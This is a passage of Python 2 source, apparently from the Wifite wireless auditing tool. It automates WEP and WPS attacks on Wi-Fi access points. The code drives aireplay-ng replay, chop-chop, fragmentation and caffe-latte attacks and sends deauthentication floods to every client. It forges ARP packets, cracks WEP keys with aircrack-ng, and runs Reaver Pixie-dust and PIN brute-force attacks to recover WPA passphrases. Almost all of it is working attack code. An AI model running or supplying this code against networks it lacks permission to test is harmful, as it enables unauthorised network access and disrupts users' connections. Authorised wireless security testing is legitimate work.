  2772.                 GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W),
  2773.                 if attack_num == 0:
  2774.                     print G + 'arp-replay',
  2775.                 elif attack_num == 1:
  2776.                     print G + 'chop-chop',
  2777.                 elif attack_num == 2:
  2778.                     print G + 'fragmentation',
  2779.                 elif attack_num == 3:
  2780.                     print G + 'caffe-latte',
  2781.                 elif attack_num == 4:
  2782.                     print G + 'p0841',
  2783.                 elif attack_num == 5:
  2784.                     print G + 'hirte',
  2785.                 print 'attack' + W
  2786.  
  2787.                 print ' %s captured %s%d%s ivs @ %s iv/sec' % (
  2788.                 GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G, total_ivs, W, G + '0' + W),
  2789.                 stdout.flush()
  2790.  
  2791.                 time.sleep(1)
  2792.                 if attack_num == 1:
  2793.                     # Send a deauth packet to broadcast and all clients *just because!*
  2794.                     self.wep_send_deauths(self.iface, self.target, self.clients)
  2795.                 last_deauth = time.time()
  2796.  
  2797.                 replaying = False
  2798.                 time_started = time.time()
  2799.                 while time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT:
  2800.                     # time.sleep(5)
  2801.                     for time_count in xrange(0, 6):
  2802.                         if self.RUN_CONFIG.WEP_TIMEOUT == -1:
  2803.                             current_hms = "[endless]"
  2804.                         else:
  2805.                             current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started))
  2806.                         print "\r %s\r" % (GR + current_hms + W),
  2807.                         stdout.flush()
  2808.                         time.sleep(1)
  2809.  
  2810.                     # Calculates total seconds remaining
  2811.  
  2812.                     # Check number of IVs captured
  2813.                     csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
  2814.                     if len(csv) > 0:
  2815.                         ivs = int(csv[0].data)
  2816.                         print "\r                                                   ",
  2817.                         print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \
  2818.                               (GR + current_hms + W, G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
  2819.  
  2820.                         if ivs - last_ivs == 0 and time.time() - last_deauth > 30:
  2821.                             print "\r %s deauthing to generate packets..." % (GR + current_hms + W),
  2822.                             self.wep_send_deauths(self.iface, self.target, self.clients)
  2823.                             print "done\r",
  2824.                             last_deauth = time.time()
  2825.  
  2826.                         last_ivs = ivs
  2827.                         stdout.flush()
  2828.                         if total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking:
  2829.                             # Start cracking
  2830.                             cmd = ['aircrack-ng',
  2831.                                    '-a', '1',
  2832.                                    '-l', self.RUN_CONFIG.temp + 'wepkey.txt']
  2833.                             #temp + 'wep-01.cap']
  2834.                             # Append all .cap files in temp directory (in case we are resuming)
  2835.                             for f in os.listdir(self.RUN_CONFIG.temp):
  2836.                                 if f.startswith('wep-') and f.endswith('.cap'):
  2837.                                     cmd.append(self.RUN_CONFIG.temp + f)
  2838.  
  2839.                             print "\r %s started %s (%sover %d ivs%s)" % (
  2840.                             GR + current_hms + W, G + 'cracking' + W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W)
  2841.                             proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)
  2842.                             started_cracking = True
  2843.  
  2844.                     # Check if key has been cracked yet.
  2845.                     if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
  2846.                         # Cracked!
  2847.                         infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
  2848.                         key = infile.read().replace('\n', '')
  2849.                         infile.close()
  2850.                         print '\n\n %s %s %s (%s)! key: "%s"' % (
  2851.                         current_hms, G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
  2852.                         self.RUN_CONFIG.WEP_FINDINGS.append(
  2853.                             'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2854.                         self.RUN_CONFIG.WEP_FINDINGS.append('')
  2855.  
  2856.                         t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2857.                         t.key = key
  2858.                         self.RUN_CONFIG.save_cracked(t)
  2859.  
  2860.                         # Kill processes
  2861.                         send_interrupt(proc_airodump)
  2862.                         send_interrupt(proc_aireplay)
  2863.                         try:
  2864.                             os.kill(proc_aireplay, SIGTERM)
  2865.                         except:
  2866.                             pass
  2867.                         send_interrupt(proc_aircrack)
  2868.                         # Remove files generated by airodump/aireplay/packetforce
  2869.                         time.sleep(0.5)
  2870.                         remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2871.                         remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2872.                         return True
  2873.  
  2874.                     # Check if aireplay is still executing
  2875.                     if proc_aireplay.poll() == None:
  2876.                         if replaying:
  2877.                             print ', ' + G + 'replaying         \r' + W,
  2878.                         elif attack_num == 1 or attack_num == 2:
  2879.                             print ', waiting for packet    \r',
  2880.                         stdout.flush()
  2881.                         continue
  2882.  
  2883.                     # At this point, aireplay has stopped
  2884.                     if attack_num != 1 and attack_num != 2:
  2885.                         print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R + current_hms, O, W)
  2886.                         break  # Break out of attack's While loop
  2887.  
  2888.                     # Check for a .XOR file (we expect one when doing chopchop/fragmentation
  2889.                     xor_file = ''
  2890.                     for filename in sorted(os.listdir(self.RUN_CONFIG.temp)):
  2891.                         if filename.lower().endswith('.xor'): xor_file = self.RUN_CONFIG.temp + filename
  2892.                     if xor_file == '':
  2893.                         print '\r %s attack failed: %sunable to generate keystream        %s' % (R + current_hms, O, W)
  2894.                         break
  2895.  
  2896.                     remove_file(self.RUN_CONFIG.temp + 'arp.cap')
  2897.                     cmd = ['packetforge-ng',
  2898.                            '-0',
  2899.                            '-a', self.target.bssid,
  2900.                            '-h', client_mac,
  2901.                            '-k', '192.168.1.2',
  2902.                            '-l', '192.168.1.100',
  2903.                            '-y', xor_file,
  2904.                            '-w', self.RUN_CONFIG.temp + 'arp.cap',
  2905.                            self.iface]
  2906.                     proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)
  2907.                     proc_pforge.wait()
  2908.                     forged_packet = proc_pforge.communicate()[0]
  2909.                     remove_file(xor_file)
  2910.                     if forged_packet == None: result = ''
  2911.                     forged_packet = forged_packet.strip()
  2912.                     if not forged_packet.find('Wrote packet'):
  2913.                         print "\r %s attack failed: unable to forget ARP packet               %s" % (
  2914.                         R + current_hms + O, W)
  2915.                         break
  2916.  
  2917.                     # We were able to forge a packet, so let's replay it via aireplay-ng
  2918.                     cmd = ['aireplay-ng',
  2919.                            '--ignore-negative-one',
  2920.                            '--arpreplay',
  2921.                            '-b', self.target.bssid,
  2922.                            '-r', self.RUN_CONFIG.temp + 'arp.cap',  # Used the forged ARP packet
  2923.                            '-F',  # Select the first packet
  2924.                            self.iface]
  2925.                     proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2926.  
  2927.                     print '\r %s forged %s! %s...         ' % (
  2928.                     GR + current_hms + W, G + 'arp packet' + W, G + 'replaying' + W)
  2929.                     replaying = True
  2930.  
  2931.                 # After the attacks, if we are already cracking, wait for the key to be found!
  2932.                 while started_cracking:  # ivs > WEP_CRACK_AT_IVS:
  2933.                     time.sleep(5)
  2934.                     # Check number of IVs captured
  2935.                     csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
  2936.                     if len(csv) > 0:
  2937.                         ivs = int(csv[0].data)
  2938.                         print GR + " [endless]" + W + " captured %s%d%s ivs, iv/sec: %s%d%s  \r" % \
  2939.                                                       (G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
  2940.                         last_ivs = ivs
  2941.                         stdout.flush()
  2942.  
  2943.                     # Check if key has been cracked yet.
  2944.                     if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
  2945.                         # Cracked!
  2946.                         infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
  2947.                         key = infile.read().replace('\n', '')
  2948.                         infile.close()
  2949.                         print GR + '\n\n [endless] %s %s (%s)! key: "%s"' % (
  2950.                         G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
  2951.                         self.RUN_CONFIG.WEP_FINDINGS.append(
  2952.                             'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2953.                         self.RUN_CONFIG.WEP_FINDINGS.append('')
  2954.  
  2955.                         t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2956.                         t.key = key
  2957.                         self.RUN_CONFIG.save_cracked(t)
  2958.  
  2959.                         # Kill processes
  2960.                         send_interrupt(proc_airodump)
  2961.                         send_interrupt(proc_aireplay)
  2962.                         send_interrupt(proc_aircrack)
  2963.                         # Remove files generated by airodump/aireplay/packetforce
  2964.                         remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2965.                         remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2966.                         return True
  2967.  
  2968.             # Keyboard interrupt during attack
  2969.             except KeyboardInterrupt:
  2970.                 print R + '\n (^C)' + O + ' WEP attack interrupted\n' + W
  2971.  
  2972.                 send_interrupt(proc_airodump)
  2973.                 if proc_aireplay != None:
  2974.                     send_interrupt(proc_aireplay)
  2975.                 if proc_aircrack != None:
  2976.                     send_interrupt(proc_aircrack)
  2977.  
  2978.                 options = []
  2979.                 selections = []
  2980.                 if remaining_attacks > 0:
  2981.                     options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \
  2982.                                    (G, W, (remaining_attacks), 's' if remaining_attacks != 1 else ''))
  2983.                     selections.append(G + 'c' + W)
  2984.  
  2985.                 if self.RUN_CONFIG.TARGETS_REMAINING > 0:
  2986.                     options.append('%sskip%s     this target, move onto next target (%d remaining target%s)' % \
  2987.                                    (O, W, self.RUN_CONFIG.TARGETS_REMAINING,
  2988.                                     's' if self.RUN_CONFIG.TARGETS_REMAINING != 1 else ''))
  2989.                     selections.append(O + 's' + W)
  2990.  
  2991.                 options.append('%sexit%s     the program completely' % (R, W))
  2992.                 selections.append(R + 'e' + W)
  2993.  
  2994.                 if len(options) > 1:
  2995.                     # Ask user what they want to do, Store answer in "response"
  2996.                     print GR + ' [+]' + W + ' what do you want to do?'
  2997.                     response = ''
  2998.                     while response != 'c' and response != 's' and response != 'e':
  2999.                         for option in options:
  3000.                             print '     %s' % option
  3001.                         response = raw_input(
  3002.                             GR + ' [+]' + W + ' please make a selection (%s): ' % (', '.join(selections))).lower()[0]
  3003.                 else:
  3004.                     response = 'e'
  3005.  
  3006.                 if response == 'e' or response == 's':
  3007.                     # Exit or skip target (either way, stop this attack)
  3008.                     if self.RUN_CONFIG.WEP_SAVE:
  3009.                         # Save packets
  3010.                         save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':',
  3011.                                                                                                                   '-') + '.cap' + W
  3012.                         try:
  3013.                             rename(self.RUN_CONFIG.temp + 'wep-01.cap', save_as)
  3014.                         except OSError:
  3015.                             print R + ' [!]' + O + ' unable to save capture file!' + W
  3016.                         else:
  3017.                             print GR + ' [+]' + W + ' packet capture ' + G + 'saved' + W + ' to ' + G + save_as + W
  3018.  
  3019.                     # Remove files generated by airodump/aireplay/packetforce
  3020.                     for filename in os.listdir('.'):
  3021.                         if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  3022.                             remove_file(filename)
  3023.                     remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  3024.                     remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  3025.                     print ''
  3026.                     if response == 'e':
  3027.                         self.RUN_CONFIG.exit_gracefully(0)
  3028.                     return
  3029.  
  3030.                 elif response == 'c':
  3031.                     # Continue attacks
  3032.                     # Need to backup temp/wep-01.cap and remove airodump files
  3033.                     i = 2
  3034.                     while os.path.exists(self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap'):
  3035.                         i += 1
  3036.                     copy(self.RUN_CONFIG.temp + "wep-01.cap", self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap')
  3037.                     remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  3038.  
  3039.                     # Need to restart airodump-ng, as it's been interrupted/killed
  3040.                     proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  3041.  
  3042.                     # Say we haven't started cracking yet, so we re-start if needed.
  3043.                     started_cracking = False
  3044.  
  3045.                     # Reset IVs counters for proper behavior
  3046.                     total_ivs += ivs
  3047.                     ivs = 0
  3048.                     last_ivs = 0
  3049.  
  3050.                     # Also need to remember to crack "temp/*.cap" instead of just wep-01.cap
  3051.                     pass
  3052.  
  3053.         if successful:
  3054.             print GR + '\n [0:00:00]' + W + ' attack complete: ' + G + 'success!' + W
  3055.         else:
  3056.             print GR + '\n [0:00:00]' + W + ' attack complete: ' + R + 'failure' + W
  3057.  
  3058.         send_interrupt(proc_airodump)
  3059.         if proc_aireplay != None:
  3060.             send_interrupt(proc_aireplay)
  3061.  
  3062.         # Remove files generated by airodump/aireplay/packetforce
  3063.         for filename in os.listdir('.'):
  3064.             if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  3065.                 remove_file(filename)
  3066.         remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  3067.         remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  3068.  
  3069.     def wep_fake_auth(self, iface, target, time_to_display):
  3070.         """
  3071.             Attempt to (falsely) authenticate with a WEP access point.
  3072.             Gives 3 seconds to make each 5 authentication attempts.
  3073.             Returns True if authentication was successful, False otherwise.
  3074.         """
  3075.         max_wait = 3  # Time, in seconds, to allow each fake authentication
  3076.         max_attempts = 5  # Number of attempts to make
  3077.  
  3078.         for fa_index in xrange(1, max_attempts + 1):
  3079.             print '\r                                                            ',
  3080.             print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \
  3081.                   (GR + time_to_display + W, G, W, fa_index, max_attempts),
  3082.             stdout.flush()
  3083.  
  3084.             cmd = ['aireplay-ng',
  3085.                    '--ignore-negative-one',
  3086.                    '-1', '0',  # Fake auth, no delay
  3087.                    '-a', target.bssid,
  3088.                    '-T', '1']  # Make 1 attempt
  3089.             if target.ssid != '':
  3090.                 cmd.append('-e')
  3091.                 cmd.append(target.ssid)
  3092.             cmd.append(iface)
  3093.  
  3094.             proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
  3095.             started = time.time()
  3096.             while proc_fakeauth.poll() == None and time.time() - started <= max_wait: pass
  3097.             if time.time() - started > max_wait:
  3098.                 send_interrupt(proc_fakeauth)
  3099.                 print R + 'failed' + W,
  3100.                 stdout.flush()
  3101.                 time.sleep(0.5)
  3102.                 continue
  3103.  
  3104.             result = proc_fakeauth.communicate()[0].lower()
  3105.             if result.find('switching to shared key') != -1 or \
  3106.                     result.find('rejects open system'): pass
  3107.             if result.find('association successful') != -1:
  3108.                 print G + 'success!' + W
  3109.                 return True
  3110.  
  3111.             print R + 'failed' + W,
  3112.             stdout.flush()
  3113.             time.sleep(0.5)
  3114.             continue
  3115.         print ''
  3116.         return False
  3117.  
  3118.     def get_aireplay_command(self, iface, attack_num, target, clients, client_mac):
  3119.         """
  3120.             Returns aireplay-ng command line arguments based on parameters.
  3121.         """
  3122.         cmd = ''
  3123.         if attack_num == 0:
  3124.             cmd = ['aireplay-ng',
  3125.                    '--ignore-negative-one',
  3126.                    '--arpreplay',
  3127.                    '-b', target.bssid,
  3128.                    '-x', str(self.RUN_CONFIG.WEP_PPS)]  # Packets per second
  3129.             if client_mac != '':
  3130.                 cmd.append('-h')
  3131.                 cmd.append(client_mac)
  3132.             elif len(clients) > 0:
  3133.                 cmd.append('-h')
  3134.                 cmd.append(clients[0].bssid)
  3135.             cmd.append(iface)
  3136.  
  3137.         elif attack_num == 1:
  3138.             cmd = ['aireplay-ng',
  3139.                    '--ignore-negative-one',
  3140.                    '--chopchop',
  3141.                    '-b', target.bssid,
  3142.                    '-x', str(self.RUN_CONFIG.WEP_PPS),  # Packets per second
  3143.                    '-m', '60',  # Minimum packet length (bytes)
  3144.                    '-n', '82',  # Maxmimum packet length
  3145.                    '-F']  # Automatically choose the first packet
  3146.             if client_mac != '':
  3147.                 cmd.append('-h')
  3148.                 cmd.append(client_mac)
  3149.             elif len(clients) > 0:
  3150.                 cmd.append('-h')
  3151.                 cmd.append(clients[0].bssid)
  3152.             cmd.append(iface)
  3153.  
  3154.         elif attack_num == 2:
  3155.             cmd = ['aireplay-ng',
  3156.                    '--ignore-negative-one',
  3157.                    '--fragment',
  3158.                    '-b', target.bssid,
  3159.                    '-x', str(self.RUN_CONFIG.WEP_PPS),  # Packets per second
  3160.                    '-m', '100',  # Minimum packet length (bytes)
  3161.                    '-F']  # Automatically choose the first packet
  3162.             if client_mac != '':
  3163.                 cmd.append('-h')
  3164.                 cmd.append(client_mac)
  3165.             elif len(clients) > 0:
  3166.                 cmd.append('-h')
  3167.                 cmd.append(clients[0].bssid)
  3168.             cmd.append(iface)
  3169.  
  3170.         elif attack_num == 3:
  3171.             cmd = ['aireplay-ng',
  3172.                    '--ignore-negative-one',
  3173.                    '--caffe-latte',
  3174.                    '-b', target.bssid]
  3175.             if len(clients) > 0:
  3176.                 cmd.append('-h')
  3177.                 cmd.append(clients[0].bssid)
  3178.             cmd.append(iface)
  3179.  
  3180.         elif attack_num == 4:
  3181.             cmd = ['aireplay-ng', '--ignore-negative-one', '--interactive', '-b', target.bssid, '-c',
  3182.                    'ff:ff:ff:ff:ff:ff', '-t', '1', '-x', str(self.RUN_CONFIG.WEP_PPS), '-F', '-p', '0841', iface]
  3183.  
  3184.         elif attack_num == 5:
  3185.             if len(clients) == 0:
  3186.                 print R + ' [0:00:00] unable to carry out hirte attack: ' + O + 'no clients'
  3187.                 return ''
  3188.             cmd = ['aireplay-ng',
  3189.                    '--ignore-negative-one',
  3190.                    '--cfrag',
  3191.                    '-h', clients[0].bssid,
  3192.                    iface]
  3193.  
  3194.         return cmd
  3195.  
  3196.     def wep_send_deauths(self, iface, target, clients):
  3197.         """
  3198.             Sends deauth packets to broadcast and every client.
  3199.         """
  3200.         # Send deauth to broadcast
  3201.         cmd = ['aireplay-ng',
  3202.                '--ignore-negative-one',
  3203.                '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  3204.                '-a', target.bssid,
  3205.                iface]
  3206.         call(cmd, stdout=DN, stderr=DN)
  3207.         # Send deauth to every client
  3208.         for client in clients:
  3209.             cmd = ['aireplay-ng',
  3210.                    '--ignore-negative-one',
  3211.                    '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  3212.                    '-a', target.bssid,
  3213.                    '-h', client.bssid,
  3214.                    iface]
  3215.             call(cmd, stdout=DN, stderr=DN)
  3216.  
  3217.  
  3218. #################
  3219. # WPS FUNCTIONS #
  3220. #################
  3221. class WPSAttack(Attack):
  3222.     def __init__(self, iface, target, config):
  3223.         self.iface = iface
  3224.         self.target = target
  3225.         self.RUN_CONFIG = config
  3226.  
  3227.     def RunAttack(self):
  3228.         '''
  3229.             Abstract method for initializing the WPS attack
  3230.         '''
  3231.         if self.is_pixie_supported():
  3232.             # Try the pixie-dust attack
  3233.             if self.attack_wps_pixie():
  3234.                 # If it succeeds, stop
  3235.                 return True
  3236.  
  3237.         # Drop out if user specified to run ONLY the pixie attack
  3238.         if self.RUN_CONFIG.PIXIE:
  3239.             return False
  3240.  
  3241.         # Try the WPS PIN attack
  3242.         return self.attack_wps()
  3243.  
  3244.     def EndAttack(self):
  3245.         '''
  3246.             Abstract method for ending the WPS attack
  3247.         '''
  3248.         pass
  3249.  
  3250.     def is_pixie_supported(self):
  3251.         '''
  3252.             Checks if current version of Reaver supports the pixie-dust attack
  3253.         '''
  3254.         p = Popen(['reaver', '-h'], stdout=DN, stderr=PIPE)
  3255.         stdout = p.communicate()[1]
  3256.         for line in stdout.split('\n'):
  3257.             if '--pixie-dust' in line:
  3258.                 return True
  3259.         return False
  3260.  
  3261.     def attack_wps_pixie(self):
  3262.         """
  3263.             Attempts "Pixie WPS" attack which certain vendors
  3264.             susceptible to.
  3265.         """
  3266.  
  3267.         # TODO Check if the user's version of reaver supports the Pixie attack (1.5.2+, "mod by t6_x")
  3268.         #      If not, return False
  3269.  
  3270.         print GR + ' [0:00:00]' + W + ' initializing %sWPS Pixie attack%s on %s' % \
  3271.                                       (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
  3272.         cmd = ['reaver',
  3273.                '-i', self.iface,
  3274.                '-b', self.target.bssid,
  3275.                '-o', self.RUN_CONFIG.temp + 'out.out',  # Dump output to file to be monitored
  3276.                '-c', self.target.channel,
  3277.                '-s', 'n',
  3278.                '-K', '1', # Pixie WPS attack
  3279.                '-vv']  # verbose output
  3280.  
  3281.         # Redirect stderr to output file
  3282.         errf = open(self.RUN_CONFIG.temp + 'pixie.out', 'a')
  3283.         # Start process
  3284.         proc = Popen(cmd, stdout=errf, stderr=errf)
  3285.  
  3286.         cracked = False  # Flag for when password/pin is found
  3287.         time_started = time.time()
  3288.         pin = ''
  3289.         key = ''
  3290.  
  3291.         try:
  3292.             while not cracked:
  3293.                 time.sleep(1)
  3294.                 errf.flush()
  3295.                 if proc.poll() != None:
  3296.                     # Process stopped: Cracked? Failed?
  3297.                     errf.close()
  3298.                     inf = open(self.RUN_CONFIG.temp + 'pixie.out', 'r')
  3299.                     lines = inf.read().split('\n')
  3300.                     inf.close()
  3301.                     for line in lines:
  3302.                         # When it's cracked:
  3303.                         if line.find("WPS PIN: '") != -1:
  3304.                             pin = line[line.find("WPS PIN: '") + 10:-1]
  3305.                         if line.find("WPA PSK: '") != -1:
  3306.                             key = line[line.find("WPA PSK: '") + 10:-1]
  3307.                             cracked = True
  3308.                         # When it' failed:
  3309.                         if 'Pixie-Dust' in line and 'WPS pin not found' in line:
  3310.                             # PixieDust isn't possible on this router
  3311.                             print '\r %s WPS Pixie attack%s failed - WPS pin not found              %s' % (GR + sec_to_hms(time.time() - time_started) + G, R, W)
  3312.                             break
  3313.                     break
  3314.  
  3315.                 print '\r %s WPS Pixie attack:' % (GR + sec_to_hms(time.time() - time_started) + G),
  3316.                 # Check if there's an output file to parse
  3317.                 if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue
  3318.                 inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  3319.                 lines = inf.read().split('\n')
  3320.                 inf.close()
  3321.  
  3322.                 output_line = ''
  3323.                 for line in lines:
  3324.                     line = line.replace('[+]', '').replace('[!]', '').replace('\0', '').strip()
  3325.                     if line == '' or line == ' ' or line == '\t': continue
  3326.                     if len(line) > 50:
  3327.                         # Trim to a reasonable size
  3328.                         line = line[0:47] + '...'
  3329.                     output_line = line
  3330.  
  3331.                 if 'Sending M2 message' in output_line:
  3332.                     # At this point in the Pixie attack, all output is via stderr
  3333.                     # We have to wait for the process to finish to see the result.
  3334.                     print O, 'attempting to crack and fetch psk...                       ', W,
  3335.                 elif output_line != '':
  3336.                     # Print the last message from reaver as a "status update"
  3337.                     print C, output_line, W, ' ' * (50 - len(output_line)),
  3338.  
  3339.                 stdout.flush()
  3340.  
  3341.                 # Clear out output file
  3342.                 inf = open(self.RUN_CONFIG.temp + 'out.out', 'w')
  3343.                 inf.close()
  3344.  
  3345.             # End of big "while not cracked" loop
  3346.             if cracked:
  3347.                 if pin != '': print GR + '\n\n [+]' + G + ' PIN found:     %s' % (C + pin + W)
  3348.                 if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
  3349.                 self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
  3350.                 G + self.target.ssid + W, C + key + W, C + pin + W))
  3351.                 self.RUN_CONFIG.WPA_FINDINGS.append('')
  3352.  
  3353.                 t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
  3354.                 t.key = key
  3355.                 t.wps = pin
  3356.                 self.RUN_CONFIG.save_cracked(t)
  3357.  
  3358.         except KeyboardInterrupt:
  3359.             print R + '\n (^C)' + O + ' WPS Pixie attack interrupted' + W
  3360.             if attack_interrupted_prompt():
  3361.                 send_interrupt(proc)
  3362.                 print ''
  3363.                 self.RUN_CONFIG.exit_gracefully(0)
  3364.  
  3365.         send_interrupt(proc)
  3366.  
  3367.         # Delete the files
  3368.         os.remove(self.RUN_CONFIG.temp + "out.out")
  3369.         os.remove(self.RUN_CONFIG.temp + "pixie.out")
  3370.         return cracked
  3371.  
  3372.  
  3373.     def attack_wps(self):
  3374.         """
  3375.             Mounts attack against target on iface.
  3376.             Uses "reaver" to attempt to brute force the PIN.
  3377.             Once PIN is found, PSK can be recovered.
  3378.             PSK is displayed to user and added to WPS_FINDINGS
  3379.         """
  3380.         print GR + ' [0:00:00]' + W + ' initializing %sWPS PIN attack%s on %s' % \
  3381.                                       (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
  3382.  
  3383.         cmd = ['reaver',
  3384.                '-i', self.iface,
  3385.                '-b', self.target.bssid,
  3386.                '-o', self.RUN_CONFIG.temp + 'out.out',  # Dump output to file to be monitored
  3387.                '-a',  # auto-detect best options, auto-resumes sessions, doesn't require input!
  3388.                '-c', self.target.channel,
  3389.                # '--ignore-locks',
  3390.                '-vv']  # verbose output
  3391.         proc = Popen(cmd, stdout=DN, stderr=DN)
  3392.  
  3393.         cracked = False  # Flag for when password/pin is found
  3394.         percent = 'x.xx%'  # Percentage complete
  3395.         aps = 'x'  # Seconds per attempt
  3396.         time_started = time.time()
  3397.         last_success = time_started  # Time of last successful attempt
  3398.         last_pin = ''  # Keep track of last pin tried (to detect retries)
  3399.         retries = 0  # Number of times we have attempted this PIN
  3400.         tries_total = 0  # Number of times we have attempted all pins
  3401.         tries = 0  # Number of successful attempts
  3402.         pin = ''
  3403.         key = ''
  3404.  
  3405.         try:
  3406.             while not cracked:
  3407.                 time.sleep(1)
  3408.  
  3409.                 if proc.poll() != None:
  3410.                     # Process stopped: Cracked? Failed?
  3411.                     inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  3412.                     lines = inf.read().split('\n')
  3413.                     inf.close()
  3414.                     for line in lines:
  3415.                         # When it's cracked:
  3416.                         if line.find("WPS PIN: '") != -1:
  3417.                             pin = line[line.find("WPS PIN: '") + 10:-1]
  3418.                         if line.find("WPA PSK: '") != -1:
  3419.                             key = line[line.find("WPA PSK: '") + 10:-1]
  3420.                             cracked = True
  3421.  
  3422.                     break
  3423.  
  3424.                 if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue
  3425.  
  3426.                 inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  3427.                 lines = inf.read().split('\n')
  3428.                 inf.close()
  3429.  
  3430.                 for line in lines:
  3431.                     if line.strip() == '': continue
  3432.                     # Status
  3433.                     if line.find(' complete @ ') != -1 and len(line) > 8:
  3434.                         percent = line.split(' ')[1]
  3435.                         i = line.find(' (')
  3436.                         j = line.find(' seconds/', i)
  3437.                         if i != -1 and j != -1: aps = line[i + 2:j]
  3438.                     # PIN attempt
  3439.                     elif line.find(' Trying pin ') != -1:
  3440.                         pin = line.strip().split(' ')[-1]
  3441.                         if pin == last_pin:
  3442.                             retries += 1
  3443.                         elif tries_total == 0:
  3444.                             last_pin = pin
  3445.                             tries_total -= 1
  3446.                         else:
  3447.                             last_success = time.time()
  3448.                             tries += 1
  3449.                             last_pin = pin
  3450.                             retries = 0
  3451.                         tries_total += 1
  3452.  
  3453.                     # Warning
  3454.                     elif line.endswith('10 failed connections in a row'):
  3455.                         pass
  3456.  
  3457.                     # Check for PIN/PSK
  3458.                     elif line.find("WPS PIN: '") != -1:
  3459.                         pin = line[line.find("WPS PIN: '") + 10:-1]
  3460.                     elif line.find("WPA PSK: '") != -1:
  3461.                         key = line[line.find("WPA PSK: '") + 10:-1]
  3462.                         cracked = True
  3463.                     if cracked: break
  3464.  
  3465.                 print ' %s WPS attack, %s success/ttl,' % \
  3466.                       (GR + sec_to_hms(time.time() - time_started) + W, \
  3467.                        G + str(tries) + W + '/' + O + str(tries_total) + W),
  3468.  
  3469.                 if percent == 'x.xx%' and aps == 'x':
  3470.                     print '\r',
  3471.                 else:
  3472.                     print '%s complete (%s sec/att)   \r' % (G + percent + W, G + aps + W),
  3473.  
  3474.                 if self.RUN_CONFIG.WPS_TIMEOUT > 0 and (time.time() - last_success) > self.RUN_CONFIG.WPS_TIMEOUT:
  3475.                     print R + '\n [!]' + O + ' unable to complete successful try in %d seconds' % (
  3476.                     self.RUN_CONFIG.WPS_TIMEOUT)
  3477.                     print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
  3478.                     break
  3479.  
  3480.                 if self.RUN_CONFIG.WPS_MAX_RETRIES > 0 and retries > self.RUN_CONFIG.WPS_MAX_RETRIES:
  3481.                     print R + '\n [!]' + O + ' unable to complete successful try in %d retries' % (
  3482.                     self.RUN_CONFIG.WPS_MAX_RETRIES)
  3483.                     print R + ' [+]' + O + ' the access point may have WPS-locking enabled, or is too far away' + W
  3484.                     print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
  3485.                     break
  3486.  
  3487.                 if self.RUN_CONFIG.WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and (
  3488.                     float(tries) / tries_total) < self.RUN_CONFIG.WPS_RATIO_THRESHOLD:
  3489.                     print R + '\n [!]' + O + ' successful/total attempts ratio was too low (< %.2f)' % (
  3490.                     self.RUN_CONFIG.WPS_RATIO_THRESHOLD)
  3491.                     print R + ' [+]' + W + ' skipping %s' % (G + self.target.ssid + W)
  3492.                     break
  3493.  
  3494.                 stdout.flush()
